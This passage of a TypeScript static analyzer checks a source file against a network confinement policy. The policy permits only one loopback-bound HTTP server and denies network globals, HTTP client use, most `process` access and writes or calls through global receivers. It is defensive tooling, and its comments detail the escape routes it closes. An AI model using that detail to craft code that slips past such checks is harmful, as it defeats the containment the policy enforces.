ts.isNewExpression(parent)) && parent.expression === node) return parent; + return ts.isTaggedTemplateExpression(parent) && parent.tag === node ? parent : null; +}; + +const isNumericLiteralAssignment = (access: ts.Expression): boolean => { + const { node, parent } = climb(access); + return ( + ts.isBinaryExpression(parent) && + parent.operatorToken.kind === ts.SyntaxKind.EqualsToken && + parent.left === node && + ts.isNumericLiteral(unwrap(parent.right)) + ); +}; + +/** Class-specific member policy for a proven target used as the receiver of `access`. */ +function memberAllowed(ctx: Context, authority: AuthorityClass, access: MemberAccess): boolean { + if (access.questionDotToken !== undefined) return false; + const key = memberKey(ctx, access); + switch (authority) { + case 'SERVER': + return isResolvedTo(key, SERVER_METHODS) && isDirectCallee(access); + case 'REQUEST': + return isResolvedTo(key, REQUEST_READS) && !isWriteTarget(access); + case 'RESPONSE': + return ( + (isResolvedTo(key, RESPONSE_METHODS) && isDirectCallee(access)) || + (isResolvedTo(key, RESPONSE_STATUS) && isNumericLiteralAssignment(access)) + ); + } +} + +/** + * Loopback listen binding (positive policy, B1): a proven SERVER target may + * listen only as `listen(, '127.0.0.1'[, ])` — argument 0 a + * static decimal port, argument 1 the loopback host literal, both through THE + * static-key resolver; an optional argument 2 that normalizes to a local + * function through the listener normalizer; no spread and no further argument. + * Every other listen shape is denied. No host or port is named as dangerous. + */ +function isLoopbackListen(ctx: Context, call: ts.CallExpression): boolean { + const [port, host, callback] = call.arguments; + if (call.arguments.length > 3 || port === undefined || host === undefined) return false; + if (call.arguments.some((argument) => ts.isSpreadElement(argument))) return false; + const portKey = resolveStaticKey(ctx, port); + if (portKey.kind !== 'RESOLVED' || !/^\d+$/.test(portKey.value) || Number(portKey.value) > PORT_MAX) return false; + if (!isResolvedTo(resolveStaticKey(ctx, host), LOOPBACK_HOST)) return false; + return callback === undefined || normalizeListener(ctx, callback) !== null; +} + +/** + * Proven string (positive policy): an expression that can only evaluate to a + * primitive string — a string or template literal (any spans), `+` with a + * proven-string side, a conditional of proven strings, a unique const + * initialized by one, a call of a local non-async eligible callee whose every + * own return is one, or a binding seeded from a sibling host file's proven + * exports. No ambient global call is proven: a global binding can be replaced + * through routes this analysis does not track, so nothing else is proven and + * no callable value (a Proxy, a function) can reach a Node callback position. + */ +function isProvenString(ctx: Context, expression: ts.Expression, visiting: Set): boolean { + const node = unwrap(expression); + if (ts.isStringLiteralLike(node) || ts.isTemplateExpression(node)) return true; + if (ts.isBinaryExpression(node) && node.operatorToken.kind === ts.SyntaxKind.PlusToken) { + return isProvenString(ctx, node.left, visiting) || isProvenString(ctx, node.right, visiting); + } + if (ts.isConditionalExpression(node)) { + return isProvenString(ctx, node.whenTrue, visiting) && isProvenString(ctx, node.whenFalse, visiting); + } + if (ts.isIdentifier(node)) { + const symbol = valueSymbolOf(ctx.checker, node); + if (symbol === undefined || visiting.has(symbol)) return false; + if (ctx.externalStrings.has(symbol)) return true; + const declaration = uniqueConstDeclaration(ctx, symbol); + if (declaration?.initializer === undefined) return false; + visiting.add(symbol); + const proven = isProvenString(ctx, declaration.initializer, visiting); + visiting.delete(symbol); + return proven; + } + if (ts.isCallExpression(node) && node.questionDotToken === undefined && !node.arguments.some((argument) => ts.isSpreadElement(argument))) { + const callee = unwrap(node.expression); + if (!ts.isIdentifier(callee)) return false; + const symbol = valueSymbolOf(ctx.checker, callee); + if (symbol === undefined) return false; + return isStringFunction(ctx, symbol, visiting); + } + return false; +} + +/** A local non-async, non-generator eligible callee whose every own return is a proven string, or a seeded string function. */ +function isStringFunction(ctx: Context, symbol: ts.Symbol, visiting: Set): boolean { + if (ctx.externalStringFunctions.has(symbol)) return true; + if (visiting.has(symbol)) return false; + const fn = eligibleCallee(ctx, symbol); + if (fn === null || fn.asteriskToken !== undefined) return false; + if ((ts.getCombinedModifierFlags(fn) & ts.ModifierFlags.Async) !== 0) return false; + const returns = ownReturnExpressions(fn); + if (returns.length === 0) return false; + visiting.add(symbol); + const proven = returns.every((returned) => returned !== null && isProvenString(ctx, returned, visiting)); + visiting.delete(symbol); + return proven; +} + +/** A binding whose value is a proven string: seeded, or a unique const with a proven-string initializer. */ +function isStringValue(ctx: Context, symbol: ts.Symbol): boolean { + if (ctx.externalStrings.has(symbol)) return true; + const declaration = uniqueConstDeclaration(ctx, symbol); + return declaration?.initializer !== undefined && isProvenString(ctx, declaration.initializer, new Set([symbol])); +} + +/** `close()` or `close()`: Node calls the callback with the server as `this`, which only a local function literal (whose `this` is already denied) may receive. */ +function hasOnlyLocalCallback(ctx: Context, call: ts.CallExpression): boolean { + const [callback] = call.arguments; + if (callback === undefined) return call.arguments.length === 0; + return call.arguments.length === 1 && normalizeListener(ctx, callback) !== null; +} + +/** `end()` or `end()`: any callable chunk or explicit callback would run with the response as `this`. */ +function hasOnlyProvenStringChunk(ctx: Context, call: ts.CallExpression): boolean { + const [chunk] = call.arguments; + if (chunk === undefined) return call.arguments.length === 0; + return call.arguments.length === 1 && !ts.isSpreadElement(chunk) && isProvenString(ctx, chunk, new Set()); +} + +/** + * The further positive checks on an allow-listed direct call of a proven + * target: `listen` must be loopback-bound, `close` may carry only a local + * function callback, `end` may carry only a proven string. Each of these calls + * hands its receiver to a callback as an implicit `this`, so nothing but a + * local function literal or a proven primitive may reach them. + */ +function checkAllowedCallShape(ctx: Context, access: MemberAccess, classes: ReadonlySet): void { + const call = directCallOf(access); + if (call === null) return; + const key = memberKey(ctx, access); + if (classes.has('SERVER')) { + if (isResolvedTo(key, SERVER_LISTEN) && !isLoopbackListen(ctx, call)) deny(ctx, 'SERVER_LISTEN_BINDING', call); + if (isResolvedTo(key, SERVER_CLOSE) && !hasOnlyLocalCallback(ctx, call)) deny(ctx, 'SERVER_CLOSE_CALLBACK', call); + } + if (classes.has('RESPONSE') && isResolvedTo(key, RESPONSE_END) && !hasOnlyProvenStringChunk(ctx, call)) { + deny(ctx, 'RESPONSE_END_ARGUMENT', call); + } +} + +/** The binding symbol of the function whose own body contains `node`, if that function is a local binding. */ +function enclosingFunctionSymbol(ctx: Context, node: ts.Node): ts.Symbol | undefined { + let current: ts.Node = node; + while (!ts.isSourceFile(current)) { + if (ts.isArrowFunction(current) || ts.isFunctionExpression(current)) { + const holder = climb(current).parent; + if (ts.isVariableDeclaration(holder) && ts.isIdentifier(holder.name)) return valueSymbolOf(ctx.checker, holder.name); + return undefined; + } + if (ts.isFunctionDeclaration(current)) { + return current.name === undefined ? undefined : valueSymbolOf(ctx.checker, current.name); + } + if (ts.isFunctionLike(current) || ts.isClassLike(current)) return undefined; + current = current.parent; + } + return undefined; +} + +/** Apply the positive policy of every class carried by `expression` at its use site. */ +function checkTargetUse(ctx: Context, expression: ts.Expression, classes: ReadonlySet): void { + const { node, parent } = climb(expression); + const violate = (violation: UseViolation): void => { + for (const authority of classes) deny(ctx, `${authority}_${violation}`, node); + }; + if (isWriteTarget(node)) { + const direct = ts.isBinaryExpression(parent) || isUpdateExpression(parent) || ts.isDeleteExpression(parent); + violate(direct ? 'WRITE' : 'DESTRUCTURING'); + return; + } + if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return; + if (ts.isVariableDeclaration(parent) && parent.initializer === node) { + if (!ts.isIdentifier(parent.name)) violate('DESTRUCTURING'); + else if (isExported(parent)) violate('EXPORT'); + else if (!isConfinedAliasDeclaration(ctx, parent)) violate('MUTABLE_BINDING'); + return; + } + if (ts.isReturnStatement(parent) || (ts.isArrowFunction(parent) && parent.body === node)) { + const fnSymbol = enclosingFunctionSymbol(ctx, parent); + const confined = fnSymbol !== undefined && ctx.confinedFactories.has(fnSymbol); + if (!confined || [...classes].some((authority) => authority !== 'SERVER')) violate('UNCONFINED_RETURN'); + return; + } + if (ts.isCallExpression(parent) && parent.expression !== node) { + const index = parent.arguments.findIndex((argument) => argument === node); + if (index === -1 || resolvePropagationParameter(ctx, parent, index) === null) violate('ESCAPE'); + return; + } + if (isMemberAccess(parent) && parent.expression === node) { + if (![...classes].every((authority) => memberAllowed(ctx, authority, parent))) violate('MEMBER'); + else checkAllowedCallShape(ctx, parent, classes); + return; + } + if (ts.isExportSpecifier(parent) || ts.isExportAssignment(parent)) { + violate('EXPORT'); + return; + } + if ( + ts.isBinaryExpression(parent) && + parent.operatorToken.kind === ts.SyntaxKind.EqualsToken && + parent.right === node && + (ts.isArrayLiteralExpression(unwrap(parent.left)) || ts.isObjectLiteralExpression(unwrap(parent.left))) + ) { + violate('DESTRUCTURING'); + return; + } + violate('ESCAPE'); +} + +function checkCreateServerCall(ctx: Context, call: ts.CallExpression): void { + if (call.arguments.length !== 1) { + deny(ctx, 'CREATE_SERVER_ARITY', call); + } else { + const listener = listenerOf(ctx, call); + if (listener === null) deny(ctx, 'LISTENER_NOT_FUNCTION', call); + else if (hasThisParameter(listener)) deny(ctx, 'LISTENER_THIS_PARAMETER', listener); + else { + for (const parameter of listener.parameters.slice(0, 2)) { + if (parameter.dotDotDotToken !== undefined || !ts.isIdentifier(parameter.name)) { + deny(ctx, 'LISTENER_PARAMETER_PATTERN', parameter); + } + } + } + } + checkTargetUse(ctx, call, new Set(['SERVER'])); +} + +function checkHttpNamespaceUse(ctx: Context, id: ts.Identifier): void { + const { node, parent } = climb(id); + if (!isMemberAccess(parent) || parent.expression !== node) { + deny(ctx, 'HTTP_NAMESPACE_ESCAPE', node); + return; + } + const key = memberKey(ctx, parent); + if (key.kind === 'INDETERMINATE') { + deny(ctx, 'HTTP_NAMESPACE_RUNTIME_KEY', parent); + return; + } + if (!isResolvedTo(key, CREATE_SERVER)) { + deny(ctx, 'HTTP_CLIENT_CAPABILITY', parent); + return; + } + const use = climb(parent); + if (ts.isNewExpression(use.parent) && use.parent.expression === use.node) { + deny(ctx, 'CREATE_SERVER_NEW', use.parent); + return; + } + const directlyCalled = + ts.isCallExpression(use.parent) && + use.parent.expression === use.node && + use.parent.questionDotToken === undefined && + parent.questionDotToken === undefined; + if (!directlyCalled) deny(ctx, 'CREATE_SERVER_NOT_CALLED', parent); +} + +function checkCreateServerBindingUse(ctx: Context, id: ts.Identifier): void { + const { node, parent } = climb(id); + if (ts.isNewExpression(parent) && parent.expression === node) deny(ctx, 'CREATE_SERVER_NEW', parent); + else if (!ts.isCallExpression(parent) || parent.expression !== node || parent.questionDotToken !== undefined) { + deny(ctx, 'CREATE_SERVER_ESCAPE', node); + } +} + +/** + * Shared verdict for a key read off a global receiver; `onSelfHop` handles a + * resolved global-root key and `onProcess` the `process` key (the same object + * as the free global). Returns whether the key is a permitted static member. + */ +function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void, onProcess: () => void): boolean { + if (key.kind === 'INDETERMINATE') deny(ctx, 'GLOBAL_RECEIVER_RUNTIME_KEY', at); + else if (isResolvedTo(key, NETWORK_GLOBAL_NAMES)) deny(ctx, 'GLOBAL_RECEIVER_NETWORK_MEMBER', at); + else if (isResolvedTo(key, GLOBAL_RECEIVER_NAMES)) onSelfHop(); + else if (isResolvedTo(key, PROCESS_GLOBAL)) onProcess(); + else return true; + return false; +} + +function checkGlobalBindingPattern(ctx: Context, pattern: ts.BindingPattern): void { + if (ts.isArrayBindingPattern(pattern)) { + deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', pattern); + return; + } + for (const element of pattern.elements) { + if (element.dotDotDotToken !== undefined) { + deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', element); + continue; + } + let key: StaticKey = INDETERMINATE; + if (element.propertyName !== undefined) key = resolvePropertyName(ctx, element.propertyName); + else if (ts.isIdentifier(element.name)) key = foldKey(element.name.text); + checkGlobalKey( + ctx, + key, + element, + () => { + if (isBindingPattern(element.name)) checkGlobalBindingPattern(ctx, element.name); + else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', element); + }, + () => { deny(ctx, 'PROCESS_GLOBAL_USE', element); }, + ); + } +} + +function checkGlobalAssignmentPattern(ctx: Context, target: ts.Expression): void { + const literal = unwrap(target); + if (!ts.isObjectLiteralExpression(literal)) { + deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', literal); + return; + } + for (const property of literal.properties) { + if (ts.isShorthandPropertyAssignment(property)) { + checkGlobalKey( + ctx, + foldKey(property.name.text), + property, + () => { deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property); }, + () => { deny(ctx, 'PROCESS_GLOBAL_USE', property); }, + ); + } else if (ts.isPropertyAssignment(property)) { + checkGlobalKey( + ctx, + resolvePropertyName(ctx, property.name), + property, + () => { + const nested = unwrap(property.initializer); + if (ts.isObjectLiteralExpression(nested) || ts.isArrayLiteralExpression(nested)) { + checkGlobalAssignmentPattern(ctx, nested); + } else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property); + }, + () => { deny(ctx, 'PROCESS_GLOBAL_USE', property); }, + ); + } else deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', property); + } +} + +/** A free global receiver root (or a static self-hop from one) may only be read through static, non-network keys; no member is ever written or invoked. */ +function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void { + const { node, parent } = climb(expression); + if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return; + if (isMemberAccess(parent) && parent.expression === node) { + const permitted = checkGlobalKey( + ctx, + memberKey(ctx, parent), + parent, + () => { checkGlobalReceiverUse(ctx, parent); }, + () => { checkProcessUse(ctx, parent); }, + ); + // A permitted static member is read-only: writing it mutates the global + // (e.g. replacing `String`, which `isProvenString` trusts as intrinsic). + if (permitted && isWriteTarget(parent)) { + deny(ctx, 'GLOBAL_RECEIVER_WRITE', parent); + return; + } + // A permitted static member is never invoked through the receiver: an + // inherited mutator or a code generator called with the global as its + // receiver rebinds globals exactly as a write does, so every call, optional + // call, construct and tagged-template form is denied as one family. A free + // global call such as `String(1)` goes through no receiver and is unaffected. + if (permitted && memberCallOf(parent) !== null) deny(ctx, 'GLOBAL_RECEIVER_CALL', parent); + return; + } + if (ts.isVariableDeclaration(parent) && parent.initializer === node) { + if (isBindingPattern(parent.name)) checkGlobalBindingPattern(ctx, parent.name); + else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node); + return; + } + if (ts.isBinaryExpression(parent) && parent.operatorToken.kind === ts.SyntaxKind.EqualsToken && parent.right === node) { + const left = unwrap(parent.left); + if (ts.isObjectLiteralExpression(left) || ts.isArrayLiteralExpression(left)) checkGlobalAssignmentPattern(ctx, left); + else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node); + return; + } + deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node); +} + +/** + * Positive policy for the `process` global, whether reached as the free + * identifier or as `.process`: the only permitted runtime use + * is an element read `process.argv[]` (the entry guard). Every + * other operation — any other member, forwarding the object, writing `argv`, + * or reading it whole — is denied; no per-method table is kept. + */ +function checkProcessUse(ctx: Context, expression: ts.Expression): void { + const { node, parent } = climb(expression); + if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return; + if (isMemberAccess(parent) && parent.expression === node && isResolvedTo(memberKey(ctx, parent), PROCESS_ARGV) && !isWriteTarget(parent)) { + const argv = climb(parent); + if (ts.isElementAccessExpression(argv.parent) && argv.parent.expression === argv.node && !isWriteTarget(argv.parent)) { + const index = memberKey(ctx, argv.parent); + if (index.kind === 'RESOLVED' && /^\d+$/.test(index.value)) return; + } + } + deny(ctx, 'PROCESS_GLOBAL_USE', node); +} + +function checkFreeGlobal(ctx: Context, id: ts.Identifier): void { + if (id.text === 'arguments') deny(ctx, 'ARGUMENTS_USE', id); + else if (NETWORK_GLOBAL_NAMES.has(id.text)) deny(ctx, 'FREE_GLOBAL_NETWORK', id); + else if (GLOBAL_RECEIVER_NAMES.has(id.text)) checkGlobalReceiverUse(ctx, id); + else if (id.text === PROCESS_GLOBAL) checkProcessUse(ctx, id); +} + +/** + * Server-instantiation site bound (static, evidence-bounded, B2): the source + * may contain at most one server-instantiation site outside the own body of a + * confined factory — a proven createServer call, or a call of a confined + * factory whose own body instantiates a server (directly, or through another + * instantiating confined factory). A confined factory's internal createServer + * is realized by its call sites and is not a site of its own; an + * alias-returning factory adds no site. Runs over the already-collected calls + * after the fixpoint; nothing about runtime call multiplicity is claimed. + */ +function checkInstantiationSites(ctx: Context): void { + const memo = new Map(); + const factoryInstantiates = (factory: ts.Symbol): boolean => { + const known = memo.get(factory); + if (known !== undefined) return known; + memo.set(factory, false); + const result = ctx.calls.some((call) => enclosingFunctionSymbol(ctx, call) === factory && instantiates(call)); + memo.set(factory, result); + return result; + }; + const instantiates = (call: ts.CallExpression): boolean => { + const callee = unwrap(call.expression); + if (isProvenCreateServerCall(ctx, call)) return true; + if (!isConfinedFactoryCall(ctx, call)) return false; + const factory = valueSymbolOf(ctx.checker, callee); + if (factory === undefined) return false; + // A factory seeded from a sibling host file instantiates a server only if the exporting file proved so. + return ctx.externalInstantiatingFactories.has(factory) || factoryInstantiates(factory); + }; + const sites = ctx.calls.filter((call) => { + const owner = enclosingFunctionSymbol(ctx, call); + return (owner === undefined || !ctx.confinedFactories.has(owner)) && instantiates(call); + }); + ctx.instantiationSites = sites.length; + for (const factory of ctx.confinedFactories) { + if (ctx.externalInstantiatingFactories.has(factory) || factoryInstantiates(factory)) ctx.instantiatingFactories.add(factory); + } + // The tree entry counts sites across files: only the first site of the whole host tree is free. + for (const site of sites.slice(Math.max(0, 1 - ctx.priorInstantiationSites))) deny(ctx, 'CREATE_SERVER_MULTIPLE', site); +} + +function classify(ctx: Context): void { + for (const node of ctx.thisExpressions) deny(ctx, 'THIS_EXPRESSION', node); + for (const id of ctx.unboundValueReads) checkFreeGlobal(ctx, id); + for (const [symbol, reads] of ctx.valueReads) { + if (!isRuntimeShadowed(ctx.checker, symbol)) { + for (const id of reads) checkFreeGlobal(ctx, id); + } + if (ctx.httpNamespaces.has(symbol)) for (const id of reads) checkHttpNamespaceUse(ctx, id); + if (ctx.createServerBindings.has(symbol)) for (const id of reads) checkCreateServerBindingUse(ctx, id); + const classes = new Set(factsOf(ctx, symbol).map((fact) => fact.authority)); + if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes); + } + for (const call of ctx.calls) { + if (isProvenCreateServerCall(ctx, call)) { + checkCreateServerCall(ctx, call); + continue; + } + // Confined factory results and receiver-call results carry authority into their use site. + const classes = classesOf(ctx, call); + if (classes.size > 0) checkTargetUse(ctx, call, classes); + } + // A factory seeded from a sibling host file is confined here exactly like a local one: direct call, typeof, or re-export only. + for (const factory of ctx.externalFactories) { + for (const id of ctx.valueReads.get(factory) ?? []) { + if (!isConfinedReference(id)) deny(ctx, 'SERVER_FACTORY_ESCAPE', id); + } + } + checkInstantiationSites(ctx); +} + +// --------------------------------------------------------------------------- +// Entry points +// --------------------------------------------------------------------------- + +function createContext(source: string, options: NetworkPolicyOptions): Context { + const { sourceFile, checker } = createProgram(source); + return { + sourceFile, + checker, + findings: [], + valueReads: new Map(), + unboundValueReads: [], + declaredSymbols: new Set(), + writeCounts: new Map(), + httpNamespaces: new Set(), + createServerBindings: new Set(), + calls: [], + variableDeclarations: [], + functionBindings: new Set(), + thisExpressions: [], + facts: new Map(), + confinedFactories: new Set(), + keyMemo: new Map(), + keyWork: 0, + expressionFactsEvaluations: 0, + fixpointCeiling: options.fixpointCeiling ?? DEFAULT_FIXPOINT_CEILING, + hostImports: options.hostImports ?? new Map(), + priorInstantiationSites: options.priorInstantiationSites ?? 0, + externalFactories: new Set(), + externalInstantiatingFactories: new Set(), + instantiatingFactories: new Set(), + externalStrings: new Set(), + externalStringFunctions: new Set(), + instantiationSites: 0, + }; +} + +function finish(ctx: Context, fixpoint: FixpointReport): NetworkPolicyResult { + const reasons = [...new Set(ctx.findings.map((finding) => finding.reason))].sort(); + return { verdict: reasons.length === 0 ? 'ALLOW' : 'DENY', reasons, findings: [...ctx.findings], fixpoint }; +} + +/** Primitive access for direct mechanism tests; the verdict path is `analyzeNetworkPolicy`. */ +export interface NetworkPolicyInspection { + readonly sourceFile: ts.SourceFile; + readonly checker: ts.TypeChecker; + readonly result: NetworkPolicyResult; + readonly valueSymbolOf: (node: ts.Node) => ts.Symbol | undefined; + readonly resolveStaticKey: (expression: ts.Expression) => StaticKey; + readonly writeCountOf: (symbol: ts.Symbol) => number; + readonly factsOf: (symbol: ts.Symbol) => readonly string[]; + readonly isConfinedFactory: (symbol: ts.Symbol) => boolean; + readonly declaredSymbolCount: number; + readonly fixpointBound: number; + /** Total `expressionFacts` evaluations performed by the analysis (deterministic complexity witness). */ + readonly expressionFactsEvaluations: number; + /** Server-instantiation sites found in this file. */ + readonly instantiationSites: number; + /** What this file proves about its own exports, as a sibling host file would see them. */ + readonly hostExports: HostModuleExports; +} + +function analyze(source: string, options: NetworkPolicyOptions): { ctx: Context; result: NetworkPolicyResult } { + const ctx = createContext(source, options); + collect(ctx, ctx.sourceFile); + buildWriteInventory(ctx); + collectHttpImports(ctx); + collectHostImports(ctx); + const fixpoint = runFixpoint(ctx); + if (fixpoint.state === 'EXHAUSTED') { + deny(ctx, 'FIXPOINT_EXHAUSTED', ctx.sourceFile); + return { ctx, result: finish(ctx, fixpoint) }; + } + classify(ctx); + return { ctx, result: finish(ctx, fixpoint) }; +} + +/** Analyze one TypeScript source file against the frozen D3 network policy. */ +export function analyzeNetworkPolicy(source: string, options: NetworkPolicyOptions = {}): NetworkPolicyResult { + return analyze(source, options).result; +} + +export function inspectNetworkPolicy(source: string, options: NetworkPolicyOptions = {}): NetworkPolicyInspection { + const { ctx, result } = analyze(source, options); + return { + sourceFile: ctx.sourceFile, + checker: ctx.checker, + result, + valueSymbolOf: (node) => valueSymbolOf(ctx.checker, node), + resolveStaticKey: (expression) => resolveStaticKey(ctx, expression), + writeCountOf: (symbol) => writeCount(ctx, symbol), + factsOf: (symbol) => [...(ctx.facts.get(symbol) ?? [])].sort(), + isConfinedFactory: (symbol) => ctx.confinedFactories.has(symbol), + declaredSymbolCount: ctx.declaredSymbols.size, + fixpointBound: fixpointBound(ctx), + expressionFactsEvaluations: ctx.expressionFactsEvaluations, + instantiationSites: ctx.instantiationSites, + hostExports: hostExportsOf(ctx), + }; +} + +// --------------------------------------------------------------------------- +// Host module graph (tree entry) +// --------------------------------------------------------------------------- + +const hasExportModifier = (node: ts.Node): boolean => + ts.canHaveModifiers(node) && (ts.getModifiers(node) ?? []).some((modifier) => modifier.kind === ts.SyntaxKind.ExportKeyword); + +const hasDefaultModifier = (node: ts.Node): boolean => + ts.canHaveModifiers(node) && (ts.getModifiers(node) ?? []).some((modifier) => modifier.kind === ts.SyntaxKind.DefaultKeyword); + +/** + * What a file proves about its own exports: confined factories, proven strings + * and string functions, including re-exports of proven sibling exports. + * + * Computed from the module's *effective* exports under ECMAScript semantics, not + * the raw union of every re-export clause. An explicit export — a local + * declaration, an `export default`, or an explicit `export { … }` / + * `export { … } from` — shadows a same-name `export * from` star export, and + * `export *` never re-exports the `default` binding. A name exported by two + * different stars is ambiguous (absent from the namespace unless an explicit + * export shadows it), so it too propagates no fact. Explicit exports are + * therefore classified first — recording the names they bind — and only then do + * star exports fill in the names no explicit export, and no competing star, + * already claims. Without this, `export * from './safe.js'` beside an explicit + * `export const chunk = …` of the same name would keep `safe`'s proven-string + * fact for `chunk`, and a callable value shadowing it (typed `string`) would be + * wrongly accepted as a `response.end` argument. + */ +function hostExportsOf(ctx: Context): HostModuleExports { + const factories = new Set(); + const instantiatingFactories = new Set(); + const strings = new Set(); + const stringFunctions = new Set(); + const classifyBinding = (symbol: ts.Symbol | undefined, exportName: string): void => { + if (symbol === undefined) return; + if (ctx.confinedFactories.has(symbol)) factories.add(exportName); + if (ctx.instantiatingFactories.has(symbol)) instantiatingFactories.add(exportName); + if (isStringFunction(ctx, symbol, new Set())) stringFunctions.add(exportName); + else if (isStringValue(ctx, symbol)) strings.add(exportName); + }; + const copyFrom = (source: HostModuleExports, imported: string, exportName: string): void => { + if (source.factories.has(imported)) factories.add(exportName); + if (source.instantiatingFactories.has(imported)) instantiatingFactories.add(exportName); + if (source.strings.has(imported)) strings.add(exportName); + if (source.stringFunctions.has(imported)) stringFunctions.add(exportName); + }; + // Every name this module exports explicitly. A star export of the same name is + // shadowed by it and contributes no fact. + const explicitNames = new Set(); + const starStatements: ts.ExportDeclaration[] = []; + for (const statement of ctx.sourceFile.statements) { + if (isAmbient(statement)) continue; + if (ts.isFunctionDeclaration(statement) && statement.name !== undefined && hasExportModifier(statement)) { + const exportName = hasDefaultModifier(statement) ? 'default' : statement.name.text; + explicitNames.add(exportName); + classifyBinding(valueSymbolOf(ctx.checker, statement.name), exportName); + } + if (ts.isVariableStatement(statement) && hasExportModifier(statement)) { + for (const declaration of statement.declarationList.declarations) { + if (ts.isIdentifier(declaration.name)) { + explicitNames.add(declaration.name.text); + classifyBinding(valueSymbolOf(ctx.checker, declaration.name), declaration.name.text); + } + } + } + if (ts.isExportAssignment(statement) && !statement.isExportEquals) { + explicitNames.add('default'); + const exported = unwrap(statement.expression); + if (ts.isIdentifier(exported)) classifyBinding(valueSymbolOf(ctx.checker, exported), 'default'); + } + if (ts.isExportDeclaration(statement) && !statement.isTypeOnly) { + const clause = statement.exportClause; + const specifier = statement.moduleSpecifier; + if (clause === undefined && specifier !== undefined) { + // `export * from 'S'` — an effective-export computation deferred below. + starStatements.push(statement); + } else if (specifier !== undefined && clause !== undefined && ts.isNamedExports(clause)) { + // `export { a, b as c } from 'S'` — explicit named re-exports. + const source = ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined; + for (const element of clause.elements) { + if (element.isTypeOnly) continue; + explicitNames.add(element.name.text); + if (source !== undefined) copyFrom(source, (element.propertyName ?? element.name).text, element.name.text); + } + } else if (specifier === undefined && clause !== undefined && ts.isNamedExports(clause)) { + // Local `export { a, b }`. + for (const element of clause.elements) { + if (element.isTypeOnly) continue; + explicitNames.add(element.name.text); + classifyBinding(valueSymbolOf(ctx.checker, element), element.name.text); + } + } + } + } + // Star pass: a name is effectively star-exported only when no explicit export + // shadows it, it is not `default` (which `export *` excludes), and exactly one + // star source provides it (otherwise it is ambiguous). Its fact comes from + // that single source. + const starProviders = new Map(); + for (const statement of starStatements) { + const specifier = statement.moduleSpecifier; + const source = specifier !== undefined && ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined; + if (source === undefined) continue; + const provided = new Set([ + ...source.factories, + ...source.instantiatingFactories, + ...source.strings, + ...source.stringFunctions, + ]); + for (const name of provided) { + if (name === 'default') continue; // `export *` never re-exports the default binding + const providers = starProviders.get(name) ?? []; + providers.push(source); + starProviders.set(name, providers); + } + } + for (const [name, providers] of starProviders) { + if (explicitNames.has(name)) continue; // an explicit export shadows the star + if (providers.length !== 1) continue; // ambiguous across stars → not exported + const source = providers[0]; + if (source !== undefined) copyFrom(source, name, name); + } + return { factories, instantiatingFactories, strings, stringFunctions }; +} + +/** One host source file for the tree entry; `file` is its native path relative to the host root (win32: either separator; elsewhere a backslash is a literal filename character). */ +export interface HostSource { + readonly file: string; + readonly text: string; +} + +const EMPTY_EXPORTS: HostModuleExports = { + factories: new Set(), + instantiatingFactories: new Set(), + strings: new Set(), + stringFunctions: new Set(), +}; + +const sameNames = (left: ReadonlySet, right: ReadonlySet): boolean => + left.size === right.size && [...left].every((name) => right.has(name)); + +const sameExports = (left: HostModuleExports | undefined, right: HostModuleExports): boolean => + left !== undefined && + sameNames(left.factories, right.factories) && + sameNames(left.instantiatingFactories, right.instantiatingFactories) && + sameNames(left.strings, right.strings) && + sameNames(left.stringFunctions, right.stringFunctions); + +const isRelativeSpecifier = (specifier: string): boolean => specifier.startsWith('./') || specifier.startsWith('../'); + +/** The directory separator of the platform the `HostSource.file` names come from. */ +const nativeSeparator = (): '/' | '\\' => (process.platform === 'win32' ? '\\' : '/'); + +/** Every relative string-literal module specifier a file uses, in import, export, `require` and dynamic-import positions. */ +function relativeSpecifiersOf(sourceFile: ts.SourceFile): readonly string[] { + const specifiers = new Set(); + const consider = (expression: ts.Expression | undefined): void => { + if (expression === undefined) return; + const literal = unwrap(expression); + if (ts.isStringLiteralLike(literal) && isRelativeSpecifier(literal.text)) specifiers.add(literal.text); + }; + const visit = (node: ts.Node): void => { + if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) consider(node.moduleSpecifier); + if (ts.isImportEqualsDeclaration(node) && ts.isExternalModuleReference(node.moduleReference)) consider(node.moduleReference.expression); + if (ts.isCallExpression(node) && node.expression.kind === ts.SyntaxKind.ImportKeyword) consider(node.arguments[0]); + ts.forEachChild(node, visit); + }; + visit(sourceFile); + return [...specifiers]; +} + +/** Synthetic root the tree's '/'-separated names hang under; a resolution that leaves it is outside the boundary. */ +const TREE_ROOT_URL = new URL('file:///host/'); + +/** An encoded separator never folds into one (Node rejects `%2f` everywhere and `%5c` on win32): fail closed on both. */ +const ENCODED_SEPARATOR = /%2f|%5c/i; + +/** + * Resolve a relative specifier against its importing file with URL semantics, + * as Node's ESM loader does — `.`/`..` and their `%2e` forms fold, a query or + * fragment is dropped, an encoded segment decodes — to a file of the tree + * (`.js` → `.ts` and friends), or undefined. A resolution that leaves the root, + * carries an encoded separator, or has a malformed escape stays outside the + * boundary. Each importer segment is encoded first so a literal backslash in a + * POSIX filename stays one segment instead of reading as a separator. + */ +function resolveHostSpecifier(fromFile: string, specifier: string, files: ReadonlySet): string | undefined { + if (ENCODED_SEPARATOR.test(specifier)) return undefined; + let target: string; + try { + const importer = new URL(fromFile.split('/').map(encodeURIComponent).join('/'), TREE_ROOT_URL); + const resolved = new URL(specifier, importer); + if (!resolved.pathname.startsWith(TREE_ROOT_URL.pathname)) return undefined; + target = 